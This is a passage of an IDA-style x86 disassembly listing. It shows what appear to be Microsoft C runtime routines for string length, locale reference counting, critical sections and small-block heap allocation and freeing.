[ebp+var_28], 0FFFFFFFFh jnz loc_4192F3 mov eax, [ebp+arg_4] cmp byte ptr [eax], 25h jnz short loc_419D32 cmp byte ptr [eax+1], 6Eh jz loc_4192F3 loc_419D32: ; CODE XREF: sub_4192C5+35j ; sub_4192C5+3E7j ... cmp [ebp+var_24], 1 jnz short loc_419D41 push [ebp+var_20] call sub_416D07 pop ecx loc_419D41: ; CODE XREF: sub_4192C5+A71j mov eax, [ebp+var_34] cmp [ebp+var_28], 0FFFFFFFFh jnz short loc_419D56 test eax, eax jnz short loc_419D56 cmp [ebp+var_29], al jnz short loc_419D56 or eax, 0FFFFFFFFh loc_419D56: ; CODE XREF: sub_4192C5+A83j ; sub_4192C5+A87j ... lea esp, [ebp-1E4h] mov ecx, [ebp+var_1C] xor ecx, [ebp+4] call sub_41C596 call __SEH_epilog retn sub_4192C5 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419D70 proc near ; CODE XREF: sub_416B53+17p ; sub_417F54+D2p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_419DA0 loc_419D7C: ; CODE XREF: sub_419D70+1Bj mov al, [ecx] add ecx, 1 test al, al jz short loc_419DD3 test ecx, 3 jnz short loc_419D7C add eax, 0 lea esp, [esp+0] lea esp, [esp+0] loc_419DA0: ; CODE XREF: sub_419D70+Aj ; sub_419D70+46j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_419DA0 mov eax, [ecx-4] test al, al jz short loc_419DF1 test ah, ah jz short loc_419DE7 test eax, 0FF0000h jz short loc_419DDD test eax, 0FF000000h jz short loc_419DD3 jmp short loc_419DA0 ; --------------------------------------------------------------------------- loc_419DD3: ; CODE XREF: sub_419D70+13j ; sub_419D70+5Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_419DDD: ; CODE XREF: sub_419D70+58j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_419DE7: ; CODE XREF: sub_419D70+51j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_419DF1: ; CODE XREF: sub_419D70+4Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_419D70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419DFB proc near ; CODE XREF: sub_416C7A+2Ap ; sub_4175DA+37p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] lea ecx, [eax+1] cmp ecx, 100h mov ecx, [ebp+arg_0] ja short loc_419E19 mov ecx, [ecx+48h] movzx eax, word ptr [ecx+eax*2] jmp short loc_419E6D ; --------------------------------------------------------------------------- loc_419E19: ; CODE XREF: sub_419DFB+13j push esi mov edx, eax sar edx, 8 push edi mov edi, [ecx+48h] movzx esi, dl test byte ptr [edi+esi*2+1], 80h pop edi pop esi jz short loc_419E3E and [ebp+var_2], 0 push 2 mov [ebp+var_3], al mov [ebp+var_4], dl pop eax jmp short loc_419E48 ; --------------------------------------------------------------------------- loc_419E3E: ; CODE XREF: sub_419DFB+32j and [ebp+var_3], 0 mov [ebp+var_4], al xor eax, eax inc eax loc_419E48: ; CODE XREF: sub_419DFB+41j push 1 push dword ptr [ecx+14h] push dword ptr [ecx+4] lea ecx, [ebp+arg_4+2] push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_41E950 add esp, 1Ch test eax, eax jnz short loc_419E69 leave retn ; --------------------------------------------------------------------------- loc_419E69: ; CODE XREF: sub_419DFB+6Aj movzx eax, word ptr [ebp+arg_4+2] loc_419E6D: ; CODE XREF: sub_419DFB+1Cj and eax, [ebp+arg_8] leave retn sub_419DFB endp ; =============== S U B R O U T I N E ======================================= sub_419E72 proc near ; CODE XREF: sub_419F3C+B7p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+3Ch] push edi xor edi, edi cmp eax, dword_481468 jz short loc_419EE8 cmp eax, edi jz short loc_419EE8 mov eax, [esi+2Ch] cmp [eax], edi jnz short loc_419EE8 mov eax, [esi+34h] cmp eax, edi jz short loc_419EB3 cmp [eax], edi jnz short loc_419EB3 cmp eax, dword_4815E8 jz short loc_419EB3 push eax call sub_416D07 push dword ptr [esi+3Ch] call sub_41ECF9 pop ecx pop ecx loc_419EB3: ; CODE XREF: sub_419E72+23j ; sub_419E72+27j ... mov eax, [esi+30h] cmp eax, edi jz short loc_419ED6 cmp [eax], edi jnz short loc_419ED6 cmp eax, dword_4815EC jz short loc_419ED6 push eax call sub_416D07 push dword ptr [esi+3Ch] call sub_41EC9A pop ecx pop ecx loc_419ED6: ; CODE XREF: sub_419E72+46j ; sub_419E72+4Aj ... push dword ptr [esi+2Ch] call sub_416D07 push dword ptr [esi+3Ch] call sub_416D07 pop ecx pop ecx loc_419EE8: ; CODE XREF: sub_419E72+11j ; sub_419E72+15j ... mov eax, [esi+40h] cmp eax, dword_4815E4 jz short loc_419F0B cmp eax, edi jz short loc_419F0B cmp [eax], edi jnz short loc_419F0B push eax call sub_416D07 push dword ptr [esi+44h] call sub_416D07 pop ecx pop ecx loc_419F0B: ; CODE XREF: sub_419E72+7Fj ; sub_419E72+83j ... mov eax, [esi+50h] cmp eax, dword_481464 jz short loc_419F32 cmp eax, edi jz short loc_419F32 cmp [eax+0B4h], edi jnz short loc_419F32 push eax call sub_41EB0A push dword ptr [esi+50h] call sub_416D07 pop ecx pop ecx loc_419F32: ; CODE XREF: sub_419E72+A2j ; sub_419E72+A6j ... push esi call sub_416D07 pop ecx pop edi pop esi retn sub_419E72 endp ; =============== S U B R O U T I N E ======================================= sub_419F3C proc near ; CODE XREF: sub_419FFE+18p push esi call sub_4191CF mov esi, eax mov eax, [esi+64h] cmp eax, off_4323FC jz loc_419FF9 test eax, eax jz short loc_419F86 mov ecx, [eax+2Ch] dec dword ptr [eax] test ecx, ecx jz short loc_419F62 dec dword ptr [ecx] loc_419F62: ; CODE XREF: sub_419F3C+22j mov ecx, [eax+34h] test ecx, ecx jz short loc_419F6B dec dword ptr [ecx] loc_419F6B: ; CODE XREF: sub_419F3C+2Bj mov ecx, [eax+30h] test ecx, ecx jz short loc_419F74 dec dword ptr [ecx] loc_419F74: ; CODE XREF: sub_419F3C+34j mov ecx, [eax+40h] test ecx, ecx jz short loc_419F7D dec dword ptr [ecx] loc_419F7D: ; CODE XREF: sub_419F3C+3Dj mov ecx, [eax+4Ch] dec dword ptr [ecx+0B4h] loc_419F86: ; CODE XREF: sub_419F3C+19j mov ecx, off_4323FC mov [esi+64h], ecx mov ecx, off_4323FC inc dword ptr [ecx] mov ecx, off_4323FC mov ecx, [ecx+2Ch] test ecx, ecx jz short loc_419FA6 inc dword ptr [ecx] loc_419FA6: ; CODE XREF: sub_419F3C+66j mov ecx, off_4323FC mov ecx, [ecx+34h] test ecx, ecx jz short loc_419FB5 inc dword ptr [ecx] loc_419FB5: ; CODE XREF: sub_419F3C+75j mov ecx, off_4323FC mov ecx, [ecx+30h] test ecx, ecx jz short loc_419FC4 inc dword ptr [ecx] loc_419FC4: ; CODE XREF: sub_419F3C+84j mov ecx, off_4323FC mov ecx, [ecx+40h] test ecx, ecx jz short loc_419FD3 inc dword ptr [ecx] loc_419FD3: ; CODE XREF: sub_419F3C+93j mov ecx, off_4323FC mov ecx, [ecx+4Ch] inc dword ptr [ecx+0B4h] test eax, eax jz short loc_419FF9 cmp dword ptr [eax], 0 jnz short loc_419FF9 cmp eax, offset dword_4323A8 jz short loc_419FF9 push eax call sub_419E72 pop ecx loc_419FF9: ; CODE XREF: sub_419F3C+11j ; sub_419F3C+A8j ... mov eax, [esi+64h] pop esi retn sub_419F3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419FFE proc near ; CODE XREF: sub_416C7A+12p ; sub_4174C6+24p ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset stru_42C0A0 call __SEH_prolog push 0Ch call sub_41A1D6 pop ecx and [ebp+ms_exc.disabled], 0 call sub_419F3C mov [ebp+var_1C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41A030 mov eax, [ebp+var_1C] call __SEH_epilog retn sub_419FFE endp ; =============== S U B R O U T I N E ======================================= sub_41A030 proc near ; CODE XREF: sub_419FFE+24p ; DATA XREF: .text:stru_42C0A0o push 0Ch call sub_41A142 pop ecx retn sub_41A030 endp ; =============== S U B R O U T I N E ======================================= sub_41A039 proc near ; CODE XREF: sub_41A053+20p cmp dword_481184, 2 jnz short loc_41A04F cmp dword_481190, 5 jb short loc_41A04F xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41A04F: ; CODE XREF: sub_41A039+7j ; sub_41A039+10j push 3 pop eax retn sub_41A039 endp ; =============== S U B R O U T I N E ======================================= sub_41A053 proc near ; CODE XREF: .text:0041876Cp arg_0 = dword ptr 4 xor eax, eax cmp [esp+arg_0], eax push 0 setz al push 1000h push eax call dword_42218C ; HeapCreate test eax, eax mov dword_482980, eax jz short loc_41A09D call sub_41A039 cmp eax, 3 mov dword_482984, eax jnz short loc_41A0A0 push 3F8h call sub_41A207 test eax, eax pop ecx jnz short loc_41A0A0 push dword_482980 call dword_422188 ; HeapDestroy loc_41A09D: ; CODE XREF: sub_41A053+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_41A0A0: ; CODE XREF: sub_41A053+2Dj ; sub_41A053+3Cj xor eax, eax inc eax retn sub_41A053 endp ; =============== S U B R O U T I N E ======================================= sub_41A0A4 proc near ; CODE XREF: sub_419240p push esi push edi xor esi, esi mov edi, offset dword_4811E0 loc_41A0AD: ; CODE XREF: sub_41A0A4+35j cmp dword_43253C[esi*8], 1 jnz short loc_41A0D5 lea eax, ds:432538h[esi*8] mov [eax], edi push 0FA0h push dword ptr [eax] add edi, 18h call sub_41EFD0 test eax, eax pop ecx pop ecx jz short loc_41A0E1 loc_41A0D5: ; CODE XREF: sub_41A0A4+11j inc esi cmp esi, 24h jl short loc_41A0AD xor eax, eax inc eax loc_41A0DE: ; CODE XREF: sub_41A0A4+47j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41A0E1: ; CODE XREF: sub_41A0A4+2Fj and off_432538[esi*8], 0 xor eax, eax jmp short loc_41A0DE sub_41A0A4 endp ; =============== S U B R O U T I N E ======================================= sub_41A0ED proc near ; CODE XREF: sub_4191B1p push ebx mov ebx, dword_422024 push esi mov esi, offset off_432538 push edi loc_41A0FB: ; CODE XREF: sub_41A0ED+30j mov edi, [esi] test edi, edi jz short loc_41A114 cmp dword ptr [esi+4], 1 jz short loc_41A114 push edi call ebx ; RtlDeleteCriticalSection push edi call sub_416D07 and dword ptr [esi], 0 pop ecx loc_41A114: ; CODE XREF: sub_41A0ED+12j ; sub_41A0ED+18j add esi, 8 cmp esi, offset off_432658 jl short loc_41A0FB mov esi, offset off_432538 pop edi loc_41A125: ; CODE XREF: sub_41A0ED+50j mov eax, [esi] test eax, eax jz short loc_41A134 cmp dword ptr [esi+4], 1 jnz short loc_41A134 push eax call ebx ; RtlDeleteCriticalSection loc_41A134: ; CODE XREF: sub_41A0ED+3Cj ; sub_41A0ED+42j add esi, 8 cmp esi, offset off_432658 jl short loc_41A125 pop esi pop ebx retn sub_41A0ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A142 proc near ; CODE XREF: sub_416D5A+2p ; sub_416DEA+2p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push off_432538[eax*8] call dword_422018 ; RtlLeaveCriticalSection pop ebp retn sub_41A142 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A157 proc near ; CODE XREF: sub_41A1D6+14p ; sub_41BA2A+4Fp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] lea esi, ds:432538h[esi*8] cmp dword ptr [esi], 0 jz short loc_41A16F xor eax, eax inc eax jmp short loc_41A1D3 ; --------------------------------------------------------------------------- loc_41A16F: ; CODE XREF: sub_41A157+11j push edi push 18h call sub_416E1F mov edi, eax test edi, edi pop ecx jnz short loc_41A18D loc_41A17E: ; CODE XREF: sub_41A157+63j call sub_41B9A5 mov dword ptr [eax], 0Ch xor eax, eax jmp short loc_41A1D2 ; --------------------------------------------------------------------------- loc_41A18D: ; CODE XREF: sub_41A157+25j push 0Ah call sub_41A1D6 cmp dword ptr [esi], 0 pop ecx jnz short loc_41A1C0 push 0FA0h push edi call sub_41EFD0 test eax, eax pop ecx pop ecx jnz short loc_41A1BC push edi call sub_416D07 push 0Ah call sub_41A142 pop ecx pop ecx jmp short loc_41A17E ; --------------------------------------------------------------------------- loc_41A1BC: ; CODE XREF: sub_41A157+52j mov [esi], edi jmp short loc_41A1C7 ; --------------------------------------------------------------------------- loc_41A1C0: ; CODE XREF: sub_41A157+41j push edi call sub_416D07 pop ecx loc_41A1C7: ; CODE XREF: sub_41A157+67j push 0Ah call sub_41A142 xor eax, eax pop ecx inc eax loc_41A1D2: ; CODE XREF: sub_41A157+34j pop edi loc_41A1D3: ; CODE XREF: sub_41A157+16j pop esi pop ebp retn sub_41A157 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A1D6 proc near ; CODE XREF: sub_416D07+1Ep ; sub_416D78+22p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi lea esi, ds:432538h[eax*8] cmp dword ptr [esi], 0 jnz short loc_41A1FC push eax call sub_41A157 test eax, eax pop ecx jnz short loc_41A1FC push 11h call sub_41865A pop ecx loc_41A1FC: ; CODE XREF: sub_41A1D6+11j ; sub_41A1D6+1Cj push dword ptr [esi] call dword_42201C ; RtlEnterCriticalSection pop esi pop ebp retn sub_41A1D6 endp ; =============== S U B R O U T I N E ======================================= sub_41A207 proc near ; CODE XREF: sub_41A053+34p arg_0 = dword ptr 4 push 140h push 0 push dword_482980 call dword_42205C ; RtlAllocateHeap test eax, eax mov dword_48296C, eax jnz short loc_41A224 retn ; --------------------------------------------------------------------------- loc_41A224: ; CODE XREF: sub_41A207+1Aj mov ecx, [esp+arg_0] and dword_482964, 0 and dword_482968, 0 mov dword_482974, eax xor eax, eax mov dword_482970, ecx mov dword_482978, 10h inc eax retn sub_41A207 endp ; =============== S U B R O U T I N E ======================================= sub_41A24F proc near ; CODE XREF: sub_416D07+29p ; sub_417003+5Bp ... arg_0 = dword ptr 4 mov eax, dword_482968 lea ecx, [eax+eax*4] mov eax, dword_48296C lea ecx, [eax+ecx*4] jmp short loc_41A273 ; --------------------------------------------------------------------------- loc_41A261: ; CODE XREF: sub_41A24F+26j mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41A279 add eax, 14h loc_41A273: ; CODE XREF: sub_41A24F+10j cmp eax, ecx jb short loc_41A261 xor eax, eax locret_41A279: ; CODE XREF: sub_41A24F+1Fj retn sub_41A24F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A27A proc near ; CODE XREF: sub_416D07+38p ; sub_417003+B8p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] mov eax, [ecx+10h] push esi mov esi, [ebp+arg_4] push edi mov edi, esi sub edi, [ecx+0Ch] add esi, 0FFFFFFFCh shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41A58E push ebx lea ebx, [ecx+esi] mov edx, [ebx] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41A345 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41A2DD push 3Fh pop edx loc_41A2DD: ; CODE XREF: sub_41A27A+5Ej mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41A327 cmp edx, 20h mov ebx, 80000000h jnb short loc_41A308 mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41A324 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41A324 ; --------------------------------------------------------------------------- loc_41A308: ; CODE XREF: sub_41A27A+73j lea ecx, [edx-20h] shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41A324 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41A324: ; CODE XREF: sub_41A27A+85j ; sub_41A27A+8Cj ... mov ebx, [ebp+arg_4] loc_41A327: ; CODE XREF: sub_41A27A+69j mov edx, [ebx+8] mov ebx, [ebx+4] mov ecx, [ebp+var_4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx mov [ebp+var_4], ecx loc_41A345: ; CODE XREF: sub_41A27A+55j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41A353 push 3Fh pop edx loc_41A353: ; CODE XREF: sub_41A27A+D4j mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41A3F1 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41A378 mov ebx, esi loc_41A378: ; CODE XREF: sub_41A27A+FAj add ecx, [ebp+var_8] mov edx, ecx sar edx, 4 dec edx cmp edx, esi mov [ebp+var_4], ecx jbe short loc_41A38A mov edx, esi loc_41A38A: ; CODE XREF: sub_41A27A+10Cj cmp ebx, edx jz short loc_41A3EC mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41A3D4 cmp ebx, 20h mov esi, 80000000h jnb short loc_41A3BA mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41A3D4 mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41A3D4 ; --------------------------------------------------------------------------- loc_41A3BA: ; CODE XREF: sub_41A27A+127j lea ecx, [ebx-20h] shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41A3D4 mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41A3D4: ; CODE XREF: sub_41A27A+11Dj ; sub_41A27A+137j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41A3EC: ; CODE XREF: sub_41A27A+112j mov esi, [ebp+arg_4] jmp short loc_41A3F4 ; --------------------------------------------------------------------------- loc_41A3F1: ; CODE XREF: sub_41A27A+E2j mov ebx, [ebp+arg_0] loc_41A3F4: ; CODE XREF: sub_41A27A+175j cmp [ebp+var_C], 0 jnz short loc_41A402 cmp ebx, edx jz loc_41A482 loc_41A402: ; CODE XREF: sub_41A27A+17Ej mov ecx, [ebp+var_10] lea ecx, [ecx+edx*8] mov ebx, [ecx+4] mov [esi+8], ecx mov [esi+4], ebx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41A482 mov cl, [edx+eax+4] mov byte ptr [ebp+arg_4+3], cl inc cl cmp edx, 20h mov [edx+eax+4], cl jnb short loc_41A459 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41A448 mov ecx, edx mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41A448: ; CODE XREF: sub_41A27A+1BEj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41A482 ; --------------------------------------------------------------------------- loc_41A459: ; CODE XREF: sub_41A27A+1B8j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41A46F lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41A46F: ; CODE XREF: sub_41A27A+1E3j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41A482: ; CODE XREF: sub_41A27A+182j ; sub_41A27A+1A6j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41A58D mov eax, dword_482964 test eax, eax jz loc_41A57F mov ecx, dword_48297C mov esi, dword_422190 push 4000h shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push ebx push ecx call esi ; VirtualFree mov ecx, dword_48297C mov eax, dword_482964 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_482964 mov eax, [eax+10h] mov ecx, dword_48297C and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_482964 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_482964 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41A510 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_482964 loc_41A510: ; CODE XREF: sub_41A27A+28Bj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41A57F push ebx push 0 push dword ptr [eax+0Ch] call esi ; VirtualFree mov eax, dword_482964 push dword ptr [eax+10h] push 0 push dword_482980 call dword_422058 ; RtlFreeHeap mov eax, dword_482968 mov edx, dword_48296C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_482964 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41F060 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_482968 cmp eax, dword_482964 jbe short loc_41A575 sub [ebp+arg_0], 14h loc_41A575: ; CODE XREF: sub_41A27A+2F5j mov eax, dword_48296C mov dword_482974, eax loc_41A57F: ; CODE XREF: sub_41A27A+223j ; sub_41A27A+29Aj mov eax, [ebp+arg_0] mov dword_482964, eax mov dword_48297C, edi loc_41A58D: ; CODE XREF: sub_41A27A+216j pop ebx loc_41A58E: ; CODE XREF: sub_41A27A+37j pop edi pop esi leave retn sub_41A27A endp ; =============== S U B R O U T I N E ======================================= sub_41A592 proc near ; CODE XREF: sub_41AA2E+150p mov eax, dword_482968 mov ecx, dword_482978 push edi xor edi, edi cmp eax, ecx jnz short loc_41A5D8 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_48296C push edi push dword_482980 call dword_42215C ; RtlReAllocateHeap cmp eax, edi jnz short loc_41A5C7 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_41A5C7: ; CODE XREF: sub_41A592+2Fj add dword_482978, 10h mov dword_48296C, eax mov eax, dword_482968 loc_41A5D8: ; CODE XREF: sub_41A592+10j mov ecx, dword_48296C push esi push 41C4h push 8 push dword_482980 lea eax, [eax+eax*4] lea esi, [ecx+eax*4] call dword_42205C ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jnz short loc_41A603 loc_41A5FF: ; CODE XREF: sub_41A592+9Bj xor eax, eax jmp short loc_41A646 ; --------------------------------------------------------------------------- loc_41A603: ; CODE XREF: sub_41A592+6Bj push 4 push 2000h push 100000h push edi call dword_422194 ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_41A62F push dword ptr [esi+10h] push edi push dword_482980 call dword_422058 ; RtlFreeHeap jmp short loc_41A5FF ; --------------------------------------------------------------------------- loc_41A62F: ; CODE XREF: sub_41A592+89j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_482968 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41A646: ; CODE XREF: sub_41A592+6Fj pop esi pop edi retn sub_41A592 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A649 proc near ; CODE XREF: sub_41AA2E+15Fp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov ecx, [ebp+arg_0] mov eax, [ecx+8] push ebx push esi mov esi, [ecx+10h] push edi xor ebx, ebx jmp short loc_41A661 ; --------------------------------------------------------------------------- loc_41A65E: ; CODE XREF: sub_41A649+1Aj shl eax, 1 inc ebx loc_41A661: ; CODE XREF: sub_41A649+13j test eax, eax jge short loc_41A65E mov eax, ebx imul eax, 204h lea eax, [eax+esi+144h] push 3Fh mov [ebp+var_8], eax pop edx loc_41A67A: ; CODE XREF: sub_41A649+3Bj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41A67A push 4 mov edi, ebx push 1000h shl edi, 0Fh add edi, [ecx+0Ch] push 8000h push edi call dword_422194 ; VirtualAlloc test eax, eax jnz short loc_41A6AD or eax, 0FFFFFFFFh jmp loc_41A74A ; --------------------------------------------------------------------------- loc_41A6AD: ; CODE XREF: sub_41A649+5Aj lea edx, [edi+7000h] cmp edi, edx mov [ebp+var_4], edx ja short loc_41A6FD mov ecx, edx sub ecx, edi shr ecx, 0Ch lea eax, [edi+10h] inc ecx loc_41A6C5: ; CODE XREF: sub_41A649+AFj or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea edx, [eax+0FFCh] mov [eax], edx lea edx, [eax-1004h] mov dword ptr [eax-4], 0FF0h mov [eax+4], edx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h dec ecx jnz short loc_41A6C5 mov edx, [ebp+var_4] loc_41A6FD: ; CODE XREF: sub_41A649+6Fj mov eax, [ebp+var_8] add eax, 1F8h lea ecx, [edi+0Ch] mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 xor edi, edi inc edi mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41A73A or [eax+4], edi loc_41A73A: ; CODE XREF: sub_41A649+ECj mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41A74A: ; CODE XREF: sub_41A649+5Fj pop edi pop esi pop ebx leave retn sub_41A649 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A74F proc near ; CODE XREF: sub_417003+77p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ecx+10h] push ebx push esi mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov edx, edi sub edx, [ecx+0Ch] add esi, 17h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] and esi, 0FFFFFFF0h dec ecx cmp esi, ecx lea edi, [ecx+edi-4] mov ebx, [edi] mov [ebp+arg_8], ecx mov [ebp+var_4], ebx jle loc_41A8F1 test bl, 1 jnz loc_41A8EA add ebx, ecx cmp esi, ebx jg loc_41A8EA mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41A7C4 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41A7C4: ; CODE XREF: sub_41A74F+6Dj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41A80F cmp ecx, 20h mov ebx, 80000000h jnb short loc_41A7F0 shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41A80F mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41A80F ; --------------------------------------------------------------------------- loc_41A7F0: ; CODE XREF: sub_41A74F+85j add ecx, 0FFFFFFE0h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41A80F mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41A80F: ; CODE XREF: sub_41A74F+7Bj ; sub_41A74F+98j ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41A8D8 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi cmp edi, 3Fh lea ecx, [ecx+esi-4] jbe short loc_41A849 push 3Fh pop edi loc_41A849: ; CODE XREF: sub_41A74F+F5j mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41A8C6 mov 